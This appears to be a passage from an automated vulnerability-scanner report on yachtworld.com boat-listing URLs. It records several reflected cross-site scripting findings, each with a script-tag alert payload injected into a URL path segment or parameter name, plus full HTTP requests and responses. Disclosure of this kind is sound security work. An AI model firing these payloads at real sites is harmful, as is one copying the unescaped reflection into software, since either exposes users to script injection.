4614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91247"><script>alert(1)</script>c954ce2776c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32-Forward-Seating-*low-Hours*-2291213/Norwalk/CT91247"><script>alert(1)</script>c954ce2776c/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:20 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 01 Dec 2010 21:04:09 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:20 GMT Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ab36"><script>alert(1)</script>22a1b43d02a was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32-Forward-Seating-*low-Hours*-2291213/Norwalk/CT/United-States5ab36"><script>alert(1)</script>22a1b43d02a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:02 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 01 Dec 2010 21:04:09 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:02 GMT Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.141. http://www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-*low-Hours*-2291213/Norwalk/CT/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c65f9"><script>alert(1)</script>33ca09133af was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32-Forward-Seating-*low-Hours*-2291213/Norwalk/CT/United-States?c65f9"><script>alert(1)</script>33ca09133af=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:51 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 01 Dec 2010 21:04:09 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:51 GMT Set-Cookie: 